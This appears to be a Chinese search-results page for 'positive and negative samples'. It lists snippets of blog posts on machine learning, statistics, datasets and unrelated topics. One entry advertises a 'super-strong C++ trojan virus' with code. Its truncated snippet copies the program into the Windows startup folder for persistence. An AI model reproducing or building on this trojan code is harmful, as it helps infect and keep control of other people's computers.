正负样本

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（三）

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小胡说人工智能·2023-12-17 22:23

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（二）

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小胡说人工智能·2023-12-17 22:20

深度学习epoch、psnr、epoch、step解释

样本在机器学习中，样本是指数据集中的一部分完整的数据个体。例如学生成绩表中学生A的所有科目的成绩，手写数字数据集中的某一幅数字图片。什么是正样本？所谓正样本是指希望正确分类出的类别多对应的样本。
-兰天白云-·2023-12-17 22:49

概率统计学习打卡——随机事件与随机变量

1.样本点、样本空间、随机事件、事件域、概率样本点（）：试验的每个可能结果。样本空间（）：本质是一个集合，全部样本点构成的集合。
xtsqmx·2023-12-17 22:21

孟母文化研究生院研究生课程潜意识与潜能开发7（6）

来到了我们社会的互动必须要匹配，我们还不间断的进行调整来印证，这里有一个数据样本。当相互交流的时候，后辈军官训练的官员展示出的比例是1.06，而后辈军官培训队
蝴蝶王妃·2023-12-17 21:21

一名大三学生的迷茫

人在烦恼和痛苦的时候是希望可以倾诉的，同样本人亦是如此。我希望找一个人可以倾诉我的烦恼，或者说我希望有一个人来
Mr小橙·2023-12-17 21:16

如何使用MySQL Workbench将样本数据库导入到MySQL数据库服务器

如何使用MySQLWorkbench将样本数据库导入到MySQL数据库服务器摘要：在本教程中，您将学习如何使用MySQLWorkbench将MySQL样本数据库加载到MySQL数据库服务器。
杨得江-君临天下wyj·2023-12-17 21:51

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（一）

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小胡说人工智能·2023-12-17 21:44

阅读笔记-SVDNet for pedestrian retrieval

在这个背景下，由于分类样本本身的不均衡性，作者就发现抽取特征
熙熙江湖·2023-12-17 18:24

料理食堂（零四一）|汆鱼片（一）

可是，那样的鱼通常只是一些常见的淡水鱼，光是满身的鱼刺就已经让领导相当的烦躁，更别提像鱼头鱼尾这样本就没有多少肉的部分。为了能够满足领导的欲望，我只得绞尽脑汁地去想一些切实可行的办法。
夏野·2023-12-17 18:43

“低碳城市”三批试点城市名单DID数据集（2000-2022年）

重复试点城市的时间定义为最早实施试点的时间，若某省份被批准为低碳试点地区，则该省份所有城市均进行低碳城市试点一、数据介绍数据名称：“低碳城市”三批试点城市名单DID数据范围：300个地级市（包括直辖市）数据年份：2000-2022年数据样本
T0620514·2023-12-17 17:45

最新全球碳排放数据集（1990-2022年）

这些数据对于分析全球气候变化趋势、评估各国或地区在减排方面的努力，以及环境相关的研究具有一定的价值一、数据介绍数据名称：全球-碳排放数据数据年份：1990-2022年样本数量：20010条数据格式：面板数据数据来源
T0620514·2023-12-17 17:45

单变量、双变量、多变量分析（基于iris数据集）

该数据集包含了150个样本，分别来自三种不同的鸢尾花（Iris）品种：山鸢尾（setosa）、变色鸢尾（versicolor）和维吉尼亚鸢尾（virginica）。每个样本包含了
取名真难.·2023-12-17 16:07

2019-10-03分析测试统计学方法-正态分布表征

其中加权平均值与合并样本标准差。1-平均值表征正态分布与等精密度测量，一般为一个人重复测试的数据表征。同一个实验室不同人员的数据测量也可以用算术平均值来表征。
孤独的坚果儿·2023-12-17 15:16

5.基本统计方法-连续性变量的组间比较

目录1.两样本的定量变量的假设检验1.1单样本t检验1.2两独立样本t检验1.3配对样本t检验1.4正态性检验和方差齐性检验2.多样本定量变量的假设检验2.1基本知识2.2单因素方差分析2.3单因素的协方差分析
Dr_long1996·2023-12-17 15:15

3D点云广义零样本分类的递归循环对比生成网络笔记

1TitleContrastiveGenerativeNetworkwithRecursive-Loopfor3Dpointcloudgeneralizedzero-shotclassification(YunHao,YukunSu,GuoshengLin,HanjingSu,QingyaoWu)【PatternRecognition】2ConclusionThisworkaimstofacili
umbrellazg·2023-12-17 13:04

使用Python实现蒙特卡罗算法

它通过生成大量的随机样本，并利用这些样本来估计问题的解或概率分布。在本文中，我们将使用Python编写代码来实现蒙特卡罗算法，并通过一个简单的例子来演示其应用。
后端架构魔法构筑者·2023-12-17 13:52

【c语言】【visual studio】带你了解浮点型和整型在内存中的储存方式。

其中负整数较为特殊，我们单独拿出来讲负整数的二进制中最高位为符号位，专门判断正负（0为正1为负），其余位为数值位
yanlou233·2023-12-17 12:48

机器学习---模型评估

1、混淆矩阵对以上混淆矩阵的解释：P：样本数据中的正例数。N：样本数据中的负例数。Y：通过模型预测出来的正例数。N：通过模型预测出来的负例数。
30岁老阿姨·2023-12-17 12:35

目标检测检测精度

如：TP——预测为P（正例）,预测对了，本来是正样本，检测为正样本（真阳性）。TN——预测为N（负例）,预测对了，本来是负样本，检测为负样本（真阴性）。FP
搬砖的打工人!!!·2023-12-17 12:15

【机器学习入门】决策树算法（三）：C5.0算法

假设训练的样本集S共有n个样本，训练决策树模型的次数为T，用Ct表示t次训练产生的决策树模型，经过T次训练后最终构建的复合决策树模型表示为C*。
学不死的狗·2023-12-17 11:59

临检中心公布报告：华大基因顺利通过这项室间质量评价预研活动

国家卫生健康委临床检验中心(以下简称“临检中心")公布了2023年“全国血液微生物cfDNA宏基因组高通量测序室间质量评价预研活动结果报告”，华大基因下属子公司天津华大医学检验所顺利通过此次室间质评，并且检测病原体与样本预期结果完全一致
ZAKER科技动态·2023-12-17 11:26

你那么丧，是不是因为没有爱情？

当年两人都是年少辍学，他选择了学一门技术，入了码农坑，如今在小城市一个月赚几万块，真不是盖的；而他发小当年嫌苦嫌累，干什么没有长性，至今没什么可安身立命的像样本事，生活唯艰。
明哥聊求职·2023-12-17 11:15

西南科技大学数据库实验二（表数据插入、修改和删除）

二、实验任务创建数据库，并创建Employees表、Departments表和Salary表，将各表的样本数据添加到表中。如下图所示。
Myon⁶·2023-12-17 10:26

《规则与惩罚》感悟（三）

例如医生的“巡诊”使“纪律严明”的医院变成医疗“规训”的物质样本，学生的“考试”确保知识从老师流向学生。
拾吾·2023-12-17 09:52

机器学习之无监督学习

，某些x属于相同的分布或者类别特征学习：发掘横向结构的某种模式信息，每一行都可以看成是一种属性或特征密度估计：发掘底层数据分布，x都是从某个未知分布p(x)采出来的，p(x)是什么，能不能估计出来聚类样本间距离
__如果·2023-12-17 09:26

语音信号处理-基本概念（二）：音频通道数、采样频率、采样位数、采样个数(样本数)、一帧音频的大小、每秒播放的音频字节大小、一帧的播放时长、音频重采样

对于下面data和linesize的解释(参考下面3.4中的av_samples_alloc_array_and_samples函数说明)：data是通道的意思，例如双通道，data[0]代表左声道，data[1]代表右声道。linesize为采样个数的最大大小字节空间。例如aac，64位，双通道，则对于交错模式最大为：linesize=2x1024x8=16384。此时也是一个音频帧的大小。对于
u013250861·2023-12-17 08:50

图片风控NSFW(not suit for work)-2 基于tf2模型微调

（在上篇博客已经讲述了怎么将原始模型转换为tensorflow2模型）思路1将开源雅虎nsfw模型转换为tensorflow2，见tensorflow2模型重构2准备训练样本，正负样本（比例4:1~1:
晚点吧·2023-12-17 08:06

文本聚类——文本相似度（聚类算法基本概念）

一、文本相似度1.度量指标：两个文本对象之间的相似度两个文本集合之间的相似度文本对象与集合之间的相似度2.样本间的相似度基于距离的度量：欧氏距离曼哈顿距离切比雪夫距离闵可夫斯基距离马氏距离杰卡德距离基于夹角余弦的度量公式
星宇星静·2023-12-17 08:18

机器学习中的分类算法详细介绍一（KNN、决策树）

算法关键知识：数据预处理（数据标准化）、K个邻居（需要由用户指定）、距离计算方式（需要考虑数据的特点）核心思想：物以类聚人以群分，空间相近则类别相似可以用于非数值类的统计数据的分类1.1算法流程①准备样本数据
摸鱼的机器猫·2023-12-17 07:21

数据处理三 数据类别平衡（难易样本平衡）

在使用paddlseg进行训练时常常会出现针对于某一类数据预测效果不佳，这些样本通常被称为难样本。
摸鱼的机器猫·2023-12-17 07:21

随机森林

随机是指随机选择样本，随机选择特征。即每一棵树是从整个训练样本集当中选取固定数量的样本集，然后选取固定数量的特征集，从而构建
三块给你买麻糬_31c3·2023-12-17 07:31

SPSS案例分析：配对样本的非参数检验的Wilcoxon符号秩检验

Wilcoxon符号秩检验不仅可以用于单个样本的中位数与总体中位数的比较，也可以用于成对样本差值的中位数与0的比较。
白小白的学习笔记·2023-12-17 06:22

G*Power使用方法详解，总结不易啊！！！！

G*power软件是由德国杜塞尔多夫大学几位乐于分享知识的老师开发的，专门用于统计功效（包括样本量）计算的免费统计软件，在心理学领域有着很高的声誉和认可度。
白小白的学习笔记·2023-12-17 06:22

假设检验实例

目录假设检验的基本思想假设检验的步骤显著性水平原假设与备择假设检验统计量检验中常说的小概率：P值：左侧检验与右侧检验双侧检验检验结果：单侧检验双侧检验总体均值检验统计量Ｚ值的计算公式为：Ｚ检验原理：Z检验实例1Z检验实例2T检验原理实现步骤T检验的三种形式单个样本的
llovew.·2023-12-17 06:49

相关分析实例

相关系数衡量变量之间相关程度的一个量值相关系数r的数值范围是在一1到十1之间相关系数r的正负号表示变化方向。“+”号
llovew.·2023-12-17 06:49

聚类分析实例

K-Means算法实例K值对结果的影响DBSCAN算法算法步骤基本步骤工作流程参数选择层次聚类概述层次聚类（HierarchicalClustering）是一种无监督学习的聚类分析方法，用于将数据集中的样本或观测值划分为不同的群集或簇
llovew.·2023-12-17 06:45

超强C++木马病毒（含代码，样本）

#include#include#include#include#include#includeusingnamespacestd;intmain(){charcopy[80];sprintf(copy,"copy%s\"%%userprofile%%\\「开始」菜单\\程序\\启动\"");system(copy);//将这个bai程序拷到du开机启动文件夹下面zhicharcmd[]="shu
一只贴代码君（yaosicheng）·2023-12-17 06:35

【数据在内存中的存储】

:原码、反码和补码三种表示方法均有符号位和数值位两部分，符号位0表示“正”,1表示"负",而数值位最高的一位被当做符号位,剩余的都是数值位正数的原、反、补码都相同负数的三种都不同：原码：直接将数值按照正负数的形式翻译成二进制就是原码反码
且听吟风°·2023-12-17 06:10

机器学习三大基本要素学习准则

学习准则令训练集=是由N个独立同分布的样本组成，即每个样本(,y)∈X×Y是从X和Y的联合空间中按照某个未知分布P(,y)独立地随机产生的。
白牛DATA·2023-12-17 04:04

实操干货|如何将自信思考融入生活（上）——合理确定目标

电影《华尔街之狼》剧照01不知道你们有没有过类似这样的经历，比如，大一期末考试考高数，还没等老师收卷子，就觉得大事不妙，因为清楚大概率下自己的高数要挂，当时的心情可能就像是这样本来想直接假设你们高数挂了
长颈鹿学长·2023-12-17 03:07

AdaBoost 详解

AdaBoost是英文"AdaptiveBoosting"（自适应增强）的缩写，它的自适应在于：前一个基本分类器被错误分类的样本的权值会增大，而正确分类的样本的权值会减小，并再次用来训练下一个基本分类器
Gowi_fly·2023-12-17 03:47

K-means 算法

K-means算法算法过程描述随机选取k个点作为簇的中心对于每一个样本的计算到中心的距离，并将样本分到最近的簇中更新簇的中心位置重复上述2-3步，直至簇的中心位置不在发生改变其中目标函数为J=∑i=1N
Gowi_fly·2023-12-17 03:17

假设检验（超详细）

假设检验什么是假设检验假设检验（hypothesistesting）是指从对总体参数所做的一个假设开始，然后搜集样本数据，计算出样本统计量，进而运用这些数据测定假设的总体参数在多大程度上是可靠的，并做出承认还是拒绝该假设的判断
何叔傲·2023-12-17 02:42

模糊C均值聚类简述

通过优化目标函数得到每个样本点对所有类中心的隶属度，从而决定样本点的类属以达到自动对样本数据进行分类的目的。无监督机器学习的主要技术之一。
vendetta_gg·2023-12-17 02:19

fuzzy clustering(模糊(C_均值)聚类)

目录概述隶属度矩阵模糊聚类算法步骤概述k-means属于一种硬聚类的方法，也就是说一个样本属于哪个类了后，他就是哪个类别的了，非此即彼；模糊聚类意味着样本不再是刚性的属于某一类别了，而是给出其属于各个类别的概率
身影王座·2023-12-17 02:47

模糊C均值聚类（Fuzzy C-means）算法（FCM）

FCM算法简介1、模糊集理论L.A.Zadeh在1965年最早提出模糊集理论，在该理论中，针对传统的硬聚类算法其隶属度值非0即1的严格隶属关系，使用模糊集合理论，将原隶属度扩展为0到1之间的任意值，一个样本可以以不同的隶属度属于不同的簇集
helloWorldZMY·2023-12-17 02:06

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（六）

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小胡说人工智能·2023-12-17 01:07

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（五）

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小胡说人工智能·2023-12-17 01:36

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（四）

系列文章目录基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（一）基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别
小胡说人工智能·2023-12-17 01:35
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